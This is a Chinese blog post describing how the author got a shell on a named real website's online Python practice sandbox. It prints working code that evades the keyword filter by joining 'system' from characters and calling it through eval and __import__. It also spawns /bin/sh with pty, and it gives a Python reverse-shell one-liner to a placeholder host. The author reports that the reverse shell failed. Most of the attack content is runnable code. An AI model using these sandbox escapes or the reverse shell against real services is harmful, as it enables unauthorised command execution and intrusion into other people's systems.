最新消息:

某网站python在线练习系统设计缺陷导致getshell

Python admin 4261浏览 0评论

Fenby网是由微享科技(北京)有限公司独立开发的在线互动学习编程网站.为了方便用户学习python,建立了”闪电编程“,用户可以p在线编写和执行python等脚本代码。虽然对源码内容进行了限制,但是因为设计缺陷可执行命令。

先注册一个帐号,http://www.fenby.com,然后点闪电编程,在闪电编程中,我们就可以输入python代码。我们输入:

#coding=utf-8
import os

os.system('whoami')

运行时会提醒:源码中包含受限制的方。说明系统对执行命令做了限制,但我们可以通过输入如下代码来进行绕过:

#coding=utf-8

s=['s','y','s','t','e','m']
s="".join(s)
cmd="whoami"
a="__import__('os')."+s+"('"+cmd+"')"
eval(a)

25123046a24cad0799c461f8adcd86483c35aca0

通过执行命令,我们就可以进行文件读取。

当然,我们还可以通过如下代码建立一个交互式shell来执行命令:

#coding=utf-8

s=['s','p','a','w','n']
s="".join(s)
cmd="/bin/sh"
a="__import__('pty')."+s+"('"+cmd+"')"
eval(a)

获取的这个交互式shell虽然执行交互命令,但是系统进行了限制,不能输入太长的内容。随意继续想把/bin/sh反弹出来,即通过

python -c 'import socket as h,subprocess as b,os;s=h.socket(h.AF_INET,h.SOCK_STREAM);s.connect(("xxx",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);p=b.call(["/bin/sh","-i"]);'

但是,端口没转出来,说明网站对端口连接进行了限制,不能反弹出来。

———————————————————————————————————–

本文隐藏内容 登陆 后才可以浏览

转载请注明:jinglingshu的博客 » 某网站python在线练习系统设计缺陷导致getshell

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (4)

  1. 各种语言的反弹shell代码可参考:http://www.jinglingshu.wiki/?p=1093。 centos有时不能执行ifonfig参考:http://blog.csdn.net/yageeart/article/details/6932656
    admin11年前 (2014-09-09)回复
  2. 本来想通过lsof -i tcp:80查看端口占用,结果在centos下不行,详情参考:http://zhongyilin.blog.51cto.com/5389262/1367534
    admin11年前 (2014-09-09)回复
  3. 查看防火墙状态:/etc/init.d/iptables status
    admin11年前 (2014-09-09)回复
  4. 我的洞!!!!
    wooyun11年前 (2014-09-27)回复